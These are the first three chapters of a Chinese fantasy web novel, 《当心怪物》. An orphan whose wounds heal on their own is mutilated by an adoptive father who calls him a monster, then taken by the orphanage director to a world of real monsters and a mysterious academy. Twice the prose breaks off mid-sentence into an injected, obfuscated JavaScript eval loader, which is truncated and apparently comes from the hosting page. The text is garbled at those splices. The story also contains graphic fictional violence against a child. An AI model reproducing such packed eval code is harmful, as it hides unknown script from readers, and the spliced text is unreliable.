《当心怪物》 1. 第 1 章 林栖又被弃养了。 他是福利院里最漂亮的孩子,总是第一眼就被领养家长选中,又总是在半年之内被退回来。 这一次,他是被绑着送回来的。 八月午后,烈日闷沉。 绿皮轿车直开进院,刹车粗哑刺耳。 中年男人踉跄下车,一面大声叫人,一面打开后厢。 铁皮晒得滚烫,男孩儿蜷在后车厢里,黑发浸透汗水,黏在苍白面颊。粗重绳索绕过后颈,紧紧捆住全身,蓝色校服像是被水泡过,颜色哑得发黑,帆布鞋上洇着几块锈色污迹。 一见人来,中年男人立即嘶声控诉:“他是怪物!” “你们不知道吗?他是怪物!” 见别人不敢走近,他抽出刀子,用力晃动以示安全,“你们别怕,过来,他跑不了。” “我把他抓起来了。” “捆得很结实,他跑不了。” 烈日下,刀刃反着刺目白光。 ——凄厉警笛呼啸穿过两扇铁门,警灯闪烁,红蓝二色交替照亮墙角绿苔。 临时审讯室里,男人倾身坐着,头发蓬乱,满眼血丝,磨出厚茧的手指交叠拧动,目光灼灼,嗓音干涩。 “警察先生,你们信我,他是怪物,不是人。” “我是反复确认过的,手指掰断还能恢复,切掉也能长好,这合理吗?” “你会做饭吗?我不会,家里只有水果刀,弄弄鸡鸭鱼虾还可以,切不动大的骨头。但罗教授会,我们住在一个小区,他听说我要借刀,特意问清楚了,给我送来一把斩骨刀,我那才知道,原来斩骨也有专用的刀。” “刀很好用,手脚的骨头一切就断,但身上还是有些困难。”他回忆着,拧住眉头,语气有些惭愧,“也可能是我方法不对,毕竟不会做饭,家务一向都是我太太在打理……” “你们能想象吗?断了的指头放在地上,会动,也不是自己动,就好像有什么东西拽着它动。扔出去也不行,还能回来,还能长好。还有血……” 他忽然按住桌子,眼中透出异样的光,“你是警察,肯定知道,动脉血,动脉血很厉害的!是会喷出来的!一不小心弄得到处都是……哎,到处都是……地上滑得站不住人,不过后来都回去了,血会顺着伤口往里钻……往里爬……” “这个怪物很厉害,很难杀,我甚至怀疑它根本就杀不死,不过你们是警察,应该有办法吧?” …… 隔壁房间,林栖已经换了衣服,坐在窗边铁架床上,怀里抱着一只洗到陈旧的白色枕头,双手拢在下方,隐约露出半截手腕。 房间像一只紧闭的玩具盒,透不进一丝风,朱红千纸鹤在缝衣线上穿成一串,在墙上投下静止的剪影。 男孩儿漂亮、安静、精致,很适合摆在玩具盒里。 许久,房门从外打开,空气流淌着,拂过鸦羽般的睫毛。 年轻警察一身干练制服,问道:“你是林栖对吗?” 林栖箍紧怀中枕头,看着他,点了点头,一双眼睛深黑澄净。 年轻警察心里一软,又斟酌了一遍措辞,“你是两个月前被领养的?赵教授平时对你好吗?” 林栖缓声道:“对我很好。” 问询持续了十多分钟。 根据林栖所说,养父虽然把他绑在后车厢里,但并没真的伤害过他。 警察已经提前了解情况,林栖今年十岁左右,出身不详。 福利院工作人员评价他漂亮、安静、省心,就是性格孤僻,不合群,和同龄人相处不来,和领养家长更相处不来。 问到以往受伤情况,医务室老师说林栖去年摔了膝盖,找她拿过几次药,这小孩儿洁癖,轻易不让人碰,总是自己上药。 手工老师说他喜欢木雕,手上经常有小伤口,总是贴蓝色创可贴。 其他人也说见过林栖身上淤青,可能被欺负过。 “赵教授真的没打过你吗?一次都没有?”年轻警察再次确认。 “没有,一次都没有。”林栖再次回答,“他说我是怪物,他很怕我。” 年轻警察若有所思。 林栖静了片刻,缓缓抬眸,“警察哥哥,你也觉得我是怪物么?” 年轻警察尴尬一笑,“哪有什么怪物?” 话虽如此,但那位教授赌咒发誓,只要弄伤林栖,检查伤口,就能证明他没说谎。 正常人当然不信会有怪物,但有那么几个瞬间,他也忍不住想,万一呢?遇到一个杀不死的怪物,他该怎么处理? “警察哥哥。” “嗯?” 鸦羽般的睫毛安静低垂,林栖从枕头背后抽出手来,先将一把美工剪刀放在床边,又朝警察露出手背。 皮肤上赫然划着两道伤口,交叉成十字形,边缘仍在往外渗血。 触目生疼,年轻警察吸了口气。 男孩儿声音很轻,“你把我锁在这里,明天再来看看。” 没有人相信真的会有怪物,但这天晚上,房门还是上了锁,每次有人进出,总伴随着清脆的开锁响动—— 咔、咔…… 余音萦绕整晚。 第二天下午,几名警察如约前来。 揭开纱布,伤口已经结痂,但形状细节都能对上,还是昨天那个。 警察给他重新上药,“疼吧?干嘛划这么深?” 林栖抿着嘴唇摇头。 上完药,警察拆开一盒创可贴,取两张交叉贴在纱布外面,又把剩下几张也留给林栖。 创可贴是浅蓝色的,上面印着小企鹅,比林栖平时用的那些可爱很多。 有了伤口作为实证,“怪物”一说当然不攻自破。 那位知名教授被送往精神病院,一路上仍不放弃辩解—— “我没病,我在大学做了二十多年教授,我知道自己在做什么,你们自己去试,拿刀,随便什么刀,剪刀也行,往他身上捅,随便捅哪里,眼睛也行,真的!你们试试,一试就知道了!” “我没病!我说的都是真的!你们才有病!你们都被骗了!” “他是怪物!” “抓住他!弄死他!他是怪物!!!” 人们唏嘘,一个看起来很体面的教授,怎么说疯就疯了呢?同时又感慨,还好,他只是疯了,不是真的做了那些事情。 那些轻描淡写的摧残和折磨,只是想想都令人作呕。 断手、断脚、破开肋骨…… 当一个成年男性用尽全力,以钝器击打一名十岁少年头部,没有人能幸免于难。 大概只有林栖可以。 他和别人不一样。 他可以受伤。 即使伤得粉碎,也能修复如初。 修复过程不受控制,只要别人稍微留意,就能发现他不正常。 如果不想暴露秘密,只能尽量避免受伤。 他一直都很小心,但一个月前,养父母一家带他出游,遇上地震,旅馆房梁垮塌,他身上多处骨折,伤得很重。 养父母将他送到医院,他知道骨折会在一天之内愈合,他无法解释,只能偷偷离开医院,可惜很快就被养父找到。 从惊喜到怀疑、从试探到惧怕,只需要几个瞬间。 养父瞒着养母,将他藏了起来。 之后的事情很混乱,林栖记不太清。 …… 深夜的福利院,空旷处能听到孩子的梦话声,夹杂着闷声啜泣。 林栖独自站在三楼走廊,揭开创可贴,按了按手背上的伤口。 受了伤的皮肤并不光滑,指腹可以清晰感觉到结痂的肌理。 有一点疼。 但和快速愈合时的激烈痛感不同,这种疼痛很温软,像是天气好的时候光脚踩在草地,痒痒的,让人有些犯困。 三天了,伤口还没愈合。 有记忆以来,这还是第一次。 他不知道这是怎么做到的,但知道是谁做的——在被警察询问之前,院长观沄来找过他。 这位院长只二十多岁,常穿白T恤配浅牛仔,像个没毕业的学生,身上又总是带着一点松墨香味。 观沄来找他时,手里拿着一盒水彩笔,最普通的那种,塑料盒上还贴着“爱心捐赠”的红色贴纸。 观沄让他选了一个颜色,然后在他手背上,勾了一幅简笔画。 浅蓝色的线条,画的是一扇门,上着锁,门框刚好覆盖整个手背。 观沄告诉他,门有许多作用,最基础的就是阻隔。 既能阻隔伤害,也能阻隔保护。 后来观沄又说了什么,他没听清,注意力都在自己手上。 他知道自己不正常。 从有记忆开始,身上就带着一层厚厚的“壳”,那是无数根细密红线缠绕在皮肤上呈现出的颜色,浓郁而致密的红。 而此时,那片浓灼的红色中心开了一扇门,仿佛拨开烈焰,透进空气。 门内,皮肤是干净的浅色。 正常人的颜色。 后来,蓝色笔迹洗去,但“门”的形状还在,他在门内划出伤口,伤口没有愈合,因此警察并没发现他是怪物。 林栖仰头去看门牌,“院长室”三个字边上贴着几张翘了边的贴纸。 房门紧闭,没人知道观沄哪天回来。 林栖已经等了三天。 他不知道自己还要再等多久,也不知道自己想等一个什么结果。 这是他第一次遇到“同类”。 其实也不是真的同类…… 有一次,院长帮他削铅笔,划伤了手,还是找他借的创可贴。 夜色越来越深,像是沉在海底。 每次呼吸,都像有气泡浮上水面。 林栖躲在白瓷花盆旁边,抱膝坐着,仰头看小虫绕着灯光转圈。 转角楼梯偶尔传来脚步声—— 厚胶靴是维修师傅。 牛皮鞋是值班保安。 细跟鞋是苏老师。 软棉拖是付阿姨…… 而院长总穿白色帆布鞋,鞋带绑紧时显得脚踝很瘦,上面穿了几颗卡通珠子,平时走路没有声音,但上楼时,珠子一晃,就有细碎的金属轻响。 林栖把他想象成猫,一只爪子上戴铃铛的白猫。 巡查老师已经从他面前走过几次,熄了壁灯。 林栖藏在阴影里,眼皮沉得抬不起来,心跳却拴在弦上,只要一点声响就被拨动。 临近午夜,隐隐又有脚步声响。 很远,很轻,像挂钟上的秒针在走。 林栖埋着额头,耳尖忽然一动。 木质楼梯发出空响。 鞋带有些松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林栖:“……” 他加了一些力道,食指紧按着纸边,同时多派出一根中指,轻轻转一个角度,与食指一起夹住纸边,想象着螃蟹钳子夹小鱼,一扥一扥地,把纸片向后拖。 开始时还顺利,但越拖就觉得对面力道越重,到只差一厘米时,纸片已经纹丝不动。 林栖:“……” 你给不给? 这又不是拔河。 林栖想着,又加了一点力道,把纸片往回拔。 这时就听观沄道:“再扯就碎了。” 林栖:“……” 自己到底在做什么?好幼稚。 这年纪的男孩子对幼稚十分敏感,林栖忽然就不想赢了,略一迟疑就抬起头来,但不看观沄,而是看向那张纸片。 拔什么拔。 号码背下来就行了。 号码…… ? 林栖一怔,几乎同时,观沄低笑一声。 林栖捏着纸片一端,把它翻过来,又翻回去。 没有,都没有,两面都没有字。 林栖终于看向观沄,一眼就瞧见了他挂在唇边的笑。 观沄把笑意往回收了收,正色道:“我还没来得及写。” 林栖:“?” “你回忆一下,我是不是刚说完那句话就把纸片递给你了?中间两秒钟都不到,我是怎么写的号码?” 林栖:“……” “所以我才打算把纸片拿回来,先写好了再给你,但是你不松手。”观沄唇边再次浮起笑意,“我用力,你也用力,于是我就想,喔,原来他要跟我玩拔河,那我就陪他玩一下吧。” 林栖看着观沄,眼睛微微睁大,似乎震惊于这个成年人的无聊和幼稚。 观沄笑着看他,“起来吗?再蹲腿就麻了。” 其实已经麻了,但林栖不起。 老式挂钟秒针滴答,观沄朝它看了一眼,“好吧,实话是,号码没用,我要去的地方很远。” 林栖仰头看他。 观沄:“今晚就走。” 意思是,如果有话要说,现在就是最后的时间了,这次不说,下次再见不知道要等多久。 林栖迟疑着,从躲藏处起身,低头整理衣服上的褶皱,过程中几次看向观沄,显然有话要说,但又总是移开视线。 挂钟金属指针干涩转动,像在艰难推着磨盘,秒针推完一圈,分针发出吱呀一声轻叹。 “院长。”林栖忽然开口。 “你能领养我吗?” 他说话时,手在背后紧紧拽着衣角,似乎这样就能展平情绪,效果却不太理想。 观沄看着他,顿了片刻,“你知道,我不符合领养条件。” 林栖垂着视线。 他知道。 正因为知道,他才敢开口。 被拒绝就老实了,省得一直惦记。 “不过……”观沄忽然道,“这里不符合条件,不代表其它地方不行。” 林栖一怔,“哪里?” “一个真的有怪物的地方。” 2. 第 2 章 观沄说要带林栖去别的地方。 林栖还没想好,但行李已经收拾好了,口袋里塞满了各式各样的创可贴。 他在拇指上贴了一张。 脑子里来回滚着那句“一个真的有怪物的地方”。 “真的有怪物”对应“假的有怪物”,而“假的有怪物”是指“不符合条件”的“这里”,“这里”没有怪物,所以…… 院长想说,他不是怪物。 这是在安慰他。 所以那个有怪物的地方不一定真的存在。 院长也不是真的要领养他。 不是真的也没关系。 但很快,他就发现自己猜得有些不对。 那天晚上,走廊上多了一扇纯黑的门。 门内,透明星空交叠着斑斓的颜色,像没混色的调色盘——茜草红、水晶紫、松石蓝……明艳的色块从四面八方延伸到脚下,铺成绮丽的路,影子是碳黑的色块,剪在脚底。 色块缓慢流动,凝固成涡旋的海浪,堆叠成山…… 脚步落下,没有声音,也没有重量…… 而门外是一片雾蒙蒙的绯红。 月亮是红色的。 月光下,周围树林浓得发黑,阴影像是晕开大滩墨渍。 忽然一道黑影闪过,动作快到看不清。黑暗中一片窸窣声响,夹杂着牙齿碰撞的咯咯声,让人头皮发麻。 林栖向后退了半步,脚下发出树枝折断的脆响。 下一秒,黑影朝他直扑过来,他本能躲开,但第二道黑影速度更快,他抬手去挡,只觉得手臂一沉,袖子已经被抓开了一条裂口。 这次距离够近,借着绯色月光,他看清了那道影子——它像一只长了毛的捕兽夹,裂开的大嘴占了整个脑袋,嘴里满是尖牙,脚上也带着鱼钩似的利爪。 树林里发出一阵咯咯响动,林栖看不清那里有什么,但能感觉到视线。数不清的视线像一张大网扑来,密不透风。 空气静了一瞬,紧接着黑影如箭矢一样飞扑过来。 几乎同时,身后响起一道沉稳的脚步声,熟悉的嗓音朝他道:“别怕,站着别动。” 林栖身体有些僵硬,缓缓转头,就见高挑人影踏出那道黑色大门,回手一收,那道门就像一片薄布,被他抓在手中。 手腕轻轻一抖,阴影下方传出一阵簌簌声响,上百只千纸鹤飞散而出。 纸鹤一尘不染,在浓沉夜色之中白得刺目。 那些黑影张着大嘴冲撞上来,仅有巴掌大的千纸鹤在空中舒展成薄薄一片,迎风而涨,轻轻一旋,就将一只黑影捕获,无声落地。 林栖眨了眨眼,一瞬间想起了包饺子和煮饺子的画面。 总觉得哪里不对。 高挑人影俯身检查他的衣袖,歉然开口:“伤到了吗?怪我,没想到这个地方也有怪物。” 林栖一脸茫然,脑子里同时挤着几个念头—— 原来真的有怪物…… 抓怪物都像包饺子吗? ……你是哪位? 眼前这人银发紫瞳,腕上绕着一只金色怀表,手臂浮着一串蓝色数字,手里那片黑布绘满复杂图案——飞禽走兽、四时草木、日月星辰…… 看起来很没有真实感,像是不小心打开童话书,从里面跑出来了一张插图。 但白T恤、浅牛仔和帆布鞋又很眼熟。 林栖迟疑开口:“院长?” “嗯?” 观沄看着他,片刻才反应过来,抬手摸了一下头发,“看不习惯?那我明天就染回去。” 染……染回去? “先走吧,这附近不太安全。” 观沄从黑布上的图案里选了一只安康鱼,林栖眼睁睁看着它从一只平面的鱼,变成了一条立体的鱼,不但像吹气球一样越涨越大,背上还长出了几张座椅。 坐好之后,他又看见观沄把那片“黑布”捏成了一颗粘糕似的团子。 他恍惚想着,自己这个怪物好像也不是那么奇怪…… 路上,观沄告诉他,可以把这里理解成另外一个维度,或者简单当成另外一个世界。 目的地在学城外的松林旁边,是一个没有几户人的小镇,松林间的半山坡上,建着一座白墙红顶的小屋。 夜晚的松林散发出一股清凉木香。 林栖跟在观沄身后走上台阶,刚到一半,就见坡上松枝一晃,一只粉红色的松鼠跃上枝头,手里还抓着一枚金色哨子。 林栖:“?” 观沄抬眸看了一眼,像是忽然想起什么,“对了……” 话刚起头,就听一声哨音响彻松林。 紧接着,上百颗雪球劈头盖脸砸了下来。 观沄的说话声变成了叹气,手中墨团瞬间展开成一柄雨伞。 漆黑的伞面撞上洁白的雪团,震出一阵砰砰鼓点。 林栖慢半拍地仰起头,看到四周腾起一片白雾。 低头看,脚边滚了一堆被砸扁的雪球。 可现在是夏天。 为什么会有雪球? 他正想着,头顶又是一声哨响,新一轮的攻击紧随而至。 一堆松果球落地炸开,弹出一条条虫子。 蚯蚓和毛虫满地乱爬。 林栖微微睁大眼睛,看向观沄。 观沄表情复杂地看他一眼,“待会儿再跟你解释。” 来到小院门外,他将伞柄轻轻向上一托,雨伞飞入院内,片刻传来门栓落地声响,他一手开门,一手接住雨伞,轻轻一拢收起。 院子里站着一高一矮两道人影—— 一个六七岁的男孩儿和一个瘦削青年,男孩儿穿一身奶蓝色的睡衣,头发蓬乱,脸蛋泛红,像刚从被窝里钻出来的,而瘦高青年穿着一身格子西装,只有半边像人。 另外半边说不清是什么,裸露的皮肤上覆满狰狞凸起的鳞片,暗红色,像是结着血痂,从耳后向上蔓延,直扎进头发里。 他右手戴着手套,左手长着尖锐的指甲,右脚穿一只老式皮鞋,左脚裸露在外,趾骨凸起,是一只变形的兽爪。 观沄道:“这是林鹭和他的管家卓轻。” 名叫林鹭的男孩儿立刻叉腰瞪向观沄:“这里不欢迎你。” 观沄一脸习以为常,“嗯,但这好像也是我家?” “是你家就得欢迎你吗?”林鹭眼睛朝林栖一斜,不客气道,“你谁?” 观沄似乎有些头疼,朝林栖道,“他没恶意,只是……” 林鹭立刻反驳:“我满满都是恶意。” 说罢抱起手臂瞪向林栖。 林栖朝观沄看了一眼,说了自己名字。 林鹭当即撇了下嘴,断言:“姓林的没有一个好人。” 话音刚落,旁边那位管家就温声开口:“您自己也姓林。” “那我改姓。”林鹭立刻反驳。 “改了也是林家血脉。” “我去抽血。” “抽不完没用,抽完了会死。” 林栖:“……” 你们好有个性。 林鹭抱起一双短短的胳膊,又朝林栖看了过来,“姓观的是不是让你别恨林叙?别听,他说什么你都别听。” 说完又看观沄,“就恨,怎么了?我就恨他,恨死了,恨不得杀了他!” 管家平静道:“已经死了。” 林鹭还不解气,“光死就行吗?这种大反派,就该死无全尸,挫骨扬灰!” 管家:“是烧死的,也算扬了。” 林鹭张了张嘴,卡壳了,一时想不出来还有什么比挫骨扬灰更恶毒的咒骂,瞪着观沄憋了几秒,又看向林栖,好像跟他有仇似的,一张小脸迅速涨得发红,头顶冒烟道:“你怎么不说话?大反派是不是该死?” 林栖:“……是吧。” 也不知道这话哪里不对,林鹭鼻子一皱,扭头跑了。 院中大橡树上有个树屋,男孩儿抓着梯子,蹭蹭爬了上去。 等他的身影消失在树冠上,观沄指了指正前方的红顶房子,对林栖道:“我们住在这边,跟他……嗯,互不打扰。” 推开房门,就能闻到一股草木清香,桌椅板凳都是原木做的,像是那种绘本上才会有的森林小屋。 “饿了没?”观沄径直走到厨房,开始翻找食物。 “还好。”林栖揉了揉拇指上的创可贴,因为沾到雪水,边缘已经有些翘了。 观沄找到一瓶果汁,好像很怕林栖渴死一样,给他倒了满满一杯。 林栖低头尝了一口,浓郁的甜味在口腔炸开,激得他头皮一麻,低着头,咂了咂嘴,隔了片刻才又捧起杯子,抿着嘴唇沾了一下。 “不好喝吗?”观沄问。 “还好……”林栖说着,又把脸朝杯子埋了下去。 还好就是不好,观沄知道,眼前这位小朋友很会伪装。 一年前,他在福利院找到林栖时,见他总是一个人坐在角落,跟谁也不亲近。 一开始他也以为,这孩子就像别人说得那样,孤僻冷漠,养不熟、捂不热。 后来才发现,他被骗了。 这是一只小狐狸,一直小心翼翼藏着他的狐狸尾巴。 冷漠是假的,洁癖是装的,伤口是伪造的。 而伪造的伤口只能骗过眼睛,无法骗过触觉,所以他必须洁癖,必须坚持自己处理伤口,也必须孤僻,必须远离人群。 小狐狸一直藏得很好,直到为了救人,不小心露出了他的尾巴。 在那场地震里,他救了教授家的亲生女儿。 小姑娘才四五岁,什么都不知道,但教授知道。 知道,却依然把他当成怪物,恨不得让他粉身碎骨。 “睡前喝果汁会长蛀牙。”观沄说着,把杯子从林栖手里抽了出来,转身出门,几分钟后带了一盒牛奶回来,倒进玻璃杯里给他。 牛奶是从林鹭那边抢的。 这次小狐狸没再表演喝空气,不声不响地喝了半杯。 喝完之后,林栖朝他看了过来,深黑澄澈的眼中透着一股认真,一看就是有话要说。 观沄抬手“打断施法”,指着墙上的挂钟道:“已经十一点了,小朋友该睡觉了。” 林栖看着他,片刻,轻轻“哦”了一声。 收拾房间,准备衣物,洗漱睡觉……林栖躺下时,已经十二点了。 观沄在他床头放了一只半球形的玻璃闹钟,他睁大眼睛,看到里面排队游过十二只鸭子。 后来,十二只鸭子游走了十一只,只剩一只,在池塘里绕着圈子打转。 一点了。 可林栖还没睡着。 他平躺着,视线漫无目的飘了一会儿,从窗边绕过天花板,落向房门。 透过门缝,能看到客厅里的灯光。 他又熬了一会儿,终于轻声下床,走向客厅。 书房里亮着灯。 观沄还没睡。 林栖只是探出脑袋看了一眼,就被观沄发现了。 观沄合上手中的素描本,转身朝他招了招手。 “睡不着么?” 林栖点头。 “有问题要问?” 林栖又点头。 观沄竖起一根食指,“那就问吧,但只能一个。” 林栖走近过来,一双黑漉漉的眼睛看着他,“院长觉得,我问什么问题才能睡着?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但你在这里赖着不走。 观沄拿他没办法,从书架上找了本书,“这是学城简史,比我说的详细很多,你看完就都懂了。” 林栖点点头,捧着书翻了几页,表情逐渐茫然。 这里的字他一个也不认识。 这怎么看? 观沄早知道他看不懂,故意道:“还要么?类似的还有很多。” 林栖一双澄澈的眼睛看着他,“还要。” 观沄没办法,只得把相关书籍都拿下来,摞在一起厚厚一叠,林栖抱着有些吃力,却还是看着他问:“只有这么多吗?” 见他不答,又垂眸道:“有点少。” 一副不达目的不睡觉的样子,这哪是什么小狐狸,明明是一头倔驴。 两人对峙片刻,最后还是观沄认输,又从私藏的书柜里取出几本外面见不到的。 “这里一半都是古书,和现代书不是一种语言体系,你要看懂它们稍微有些难度。” 林栖听他语气,已经知道这个“稍微”有多微了。 他像一颗放冷了的年糕,脸上表情逐渐僵硬,却还在问:“还有吗?” 观沄无奈,将薄薄一本手札在他眼前一晃,“这是最后一本了,不骗你,其它都是不相关的,再给你拿本字典,回去边查边看,保证比安眠药还有用。” 和林家有关的藏书确实都在这儿了。 他想着,反正小狐狸现在也看不懂,等过一两年,他适应了这边的生活,刚好能看懂一部分现代书。 而古语难学,要想全部看懂,至少还要再过十年。 到那时候,小狐狸长大了,对很多事情,也会有他自己的判断。 林栖抱着一座书山回屋,就这样一夜没睡。 不是因为心里有事,也不是因为字典难用,而是因为…… 他能看懂。 虽然不懂现代语,但古书上的文字他却几乎都能看懂。 夜色燃尽时,林栖站在窗边,神色有些恍惚。 风声穿过松林,天边已经露白,眼前却像有黑纱遮盖下来……火光燎着暗色边缘,烧成明亮一线。 黑雾耗尽氧气,窒息感中,他仿佛听到有脚步声落在身后。 转身却没有人。 窗外天色渐亮,松间一阵喳喳鸟鸣,炊烟升起,笼着远处的繁华学城。 他低下头,看着手边的两本书。 第一本书上说了学城的来历,这里原本名叫荒丘,是一片废品山,后来有人突发奇想,要在这里建一所学校,专收那些没人要的学生。 一群年轻人聚在这里,一边吵吵闹闹,一边携手建设……当他们亲手移平荒丘,在空地放下第一块砖,学城的历史就此开始。 招来的学生都是流浪孤儿,曾经无家可归、无所希冀,后来,学校成了他们的家,给了他们希望和勇气。 从废墟到校园,一幅很美好的画卷,如果时间停在这里,就是童话结局。 可惜还有后续。 在另外一本书上,一手建立起学城的这个人,又亲手将它毁了。 原来一切美好都是假象,学校是他一手布置好的陷阱,学生是他案板上的猎物。他仗着年轻人的信任和敬仰,欺骗他们、囚禁他们,将他们从正常人摧残为怪物,又在事情败露之后疯狂掩饰,最后一把火烧了学城。 有人说,他疯了。 也有人说,他原本就是怪物,只是伪造了一张人皮。 两本书的最后,各自配着一张插图—— 第一张,年轻人迎着晨光,坐在废品堆上,笑着畅想未来。 第二张,人影背对火海,独自困于高塔,怨毒诅咒一切。 很难想象,两张图上居然都是林叙。 3. 第 3 章 林栖是被一阵打闹声“吵醒”的。 院墙外,几个孩子爬在树上,正拿着弹弓,背着石子,朝树屋发动突袭。 每当有人打中窗户,树下就有一道童声播报:“打中坏蛋啦!” 连续几次之后,播报变成了:“坏蛋快死啦!” 片刻,树屋窗户发出吱呀一声,一只望远镜从缝里探了出来。 林鹭开始反击,上百颗松果球朝对面砸了过去。 他本来还准备了更多“弹药”,可惜都在昨晚浪费掉了。 负责放哨的孩子大喊:“撤退撤退!掩护掩护!” 一群孩子出溜下地,拿准备好的锅碗瓢盆罩住脑袋,一边躲一边反击,还不忘朝树屋嚷嚷: “姓林的都是大坏蛋!” “滚出去!大坏蛋!” “姓林的!大坏蛋!姓林的!死得惨!” 林栖远远听着,觉得自己好像也被骂进去了。 他想起书上对林叙的那些评价,忽然就有了死灰复燃般的真实感。 他其实很想知道,自己的那位祖先为什么会突然变成坏人。 以及,正常人要怎么变成怪物? “砰”的一声,树屋窗户大开。 林鹭手里举着一把大号弹弓,气势汹汹,“就坏!打死你们!姓林怎么了?我就愿意姓林!” 林栖:“?” 你昨天好像不是这么说的。 石子打出去,激起一片骂声,吵架这种事总是谁声大谁有理,而且松果球已经用完了,林鹭只靠一把弹弓明显威慑不够。 几个大一点的孩子爬回树上,拿着弹弓,又有点跃跃欲试。 就在这时,观沄推门走了出来,林栖看到他头发已经变回黑色,配上白T恤和浅牛仔,依然像个刚毕业的学生。 观沄只是站在那里,什么都没做,几个孩子却“哇”的一声下树跑了,似乎特别怕他。 院子恢复安静,能听到风声鸟鸣。 观沄朝树屋挥了挥手,“下来吃早饭吗?” 林鹭砰的一声关了窗户,脆嫩的嗓音闷闷传出,“不吃!反正我是坏蛋,饿死算了!” 林栖:“……” 观沄有点无奈,出门买了一堆吃的回来,包括面包牛奶、各种水果、各色零食,他把东西平均分成两份,一份放在大橡树下,一份带给林栖。 吃饭时,林栖一直没说话,他在思考一个问题—— 看不懂现代语,但能看懂古语,他是个什么品种的怪物? 要不要告诉院长? 在来之前,院长特意说他不是怪物,结果折腾半天,反而发现他真的是个怪物,院长会怎么想? 林栖还没想出答案,就听到一阵敲门声砰砰响起。 力道大得仿佛在砍椰子。 同一时间,屋外老橡树上。 林鹭正扒着窗框,举着弹弓,眯眼瞄准。 院子里一共来了四只“报喜鸟”,一个拿烟花,一个拉彩带,一个拎箱子,一个捧蛋糕。 “报喜鸟”是学城公务人员,代表学城送信,送的都是喜讯,又穿一身红色制服,所以才有这个绰号。 林鹭把几只鸟挨个瞄了一遍,又瞄蛋糕,歪着半边脸问:“姓林的十二岁了?” “看样子是。”管家回他。 “看样子?我看他顶多六岁。”林鹭耸着鼻子出气,“我是不会叫他哥的,下次你就说我十三岁。” “他也可能是你叔叔。”管家淡定陈述事实。 林鹭像被踩了尾巴,顿时发出“啊”的一声,用力扯了一下皮筋,转头朝他瞄准。 管家用他的兽爪指了一下窗外,“看戏。” 观沄打开房门,两个报喜鸟往前一凑,手里的小烟花和彩带同时炸开。 接着他们齐声道贺:“生日快乐!恭祝入选!” 观沄打量着门外四人,轻轻蹙了下眉。 学城是以白塔学院为核心建立起的城市,选拔学生是一项极重要的日常工作。 符合条件的学生会被白塔标记。 而报喜鸟负责找到这些学生,并当面送达通知。 白塔标记学生,标准随时代不同,近十年来,符合要求的孩子越来越少,在外城区,这个比例从未超过百分之一。 报喜鸟每次到这里,总能体会一把天神下凡般的礼遇。 有些家长太过激动,会带着孩子一起朝他们磕头,一直磕到头破血流才停,仿佛这样才够诚意。 在来的路上,他们还在打赌,今天这家人到底会给他们磕几个头,却没想到,开门的这个人没激动,没落泪,更没跪下磕头,甚至连笑脸都没给他们一个。 实在是不太正常。 报喜鸟领队只当这人还没睡醒,把蛋糕又往上托了托,大声表明来意,“恭喜啊!你家孩子刚被白塔选中了!而且现在时机正好,马上就能参加入学考试!” 他在这边努力烘托气氛,对方却只是平静地朝他扫了一眼,道:“身份证明拿来我看。” 身份……证明?身份证明? 领队愣了好一会儿,才反应过来这四个字的意思,他们出来送信,什么时候要过身份证明?! 他随便找个借口,“今天出门太急,应该是忘了带。” “哦,是吗,那你们可以走了。” “……?” 空气明显静了一瞬。 “哎等等。”队长一手撑在门口,“还要什么身份证明?白塔标记就是最好的证明,你是不是刚睡醒,还没看见?” 观沄微微一笑,“所以白塔标记在哪儿?” 队长伸长手臂,越过观沄,直直往客厅里指,“就在你家孩子手上,不信你自己看看。” “嗯,在他手上,又不在你手上,为什么可以证明你的身份?” “这还需要证明吗?”队长简直觉得对方有病。谁不知道他们报喜鸟是干嘛的? 观沄只是看着他,不说话,仿佛连回答这个问题都是侮辱智商。 于是空气又凝固了。 屋里,林栖低头,看了看自己的手。 手背如常,但手心里却多了一枚圆形印记,它像一个图章,蓝底银辉,线条勾勒出星空下的高塔。 印记在覆满红线的皮肤上不太明显,所以他之前没有注意。 什么时候盖上去的? 门外,报喜鸟还在轮番劝告。 林栖听到其中一个人说:“外城区是什么环境,上城区又是什么环境?我们早点弄完,就能早点把孩子领走,你们不要觉得拿到印记就安全了,上个月就有一个孩子,下城区的,入选之后还是被侵蚀了,哭都来不及……” 林栖捕捉到一个关键词,领走? 他看向观沄,或许观沄也捕捉到了同一个关键词,没再跟报喜鸟废话,直接关了房门。 报喜鸟们很不服气,又在外面敲着房门说了半天才走。 等屋里终于安静下来,观沄看了看林栖手心里的印记,斟酌片刻之后开口:“他们说的你都听到了?听得懂吗?” 林栖点头。 他们现在住的地方属于学城,学城里有学校,正在挑选学生,这个印记是被选中的标志。 “还有两个常识他们没说。”观沄道,“筛选标准有两个,首先要求‘绝对干净’,身上不能出现任何一点‘侵蚀’痕迹。其次,白塔对入学年龄也有要求,你数了蛋糕上的蜡烛么?” 林栖知道,管家身上的那些鳞片就是“侵蚀”。 他摇了摇头。 今天不是他的生日,那个蛋糕一定不是给他的,所以他也没仔细看。 “是十二根。”观沄道,“因为学城规定的筛选年龄是十二周岁。” 林栖好像明白了。 他今年大约十岁,可能是九岁半或十岁半,甚至十一岁,但肯定不是十二。 观沄比林栖更清楚这点,林栖以前待过三家福利院,他去查过前两家的档案,按第一家福利院的记录,林栖是在三岁左右从火灾现场救回来的。 登记人员凭经验判断他当时大概三岁,虽然不准,但十岁和十二岁相差两年,放到当时就是一岁和三岁的区别,不可能会搞错。 现在白塔弄错了林栖的年龄。 可白塔从不出错。 观沄只能想到一种解释,有人猜到了林栖的身份,所以想让他提前入学。 人们对林家存有偏见,除了因为林家出过一个大反派外,还因为觉得他们很不吉利。 在过去的一百年里,这个曾经的世家大族零星出过一些名人,但出了更多怪物。 林家人更容易变成怪物。 人们相信,这是一种 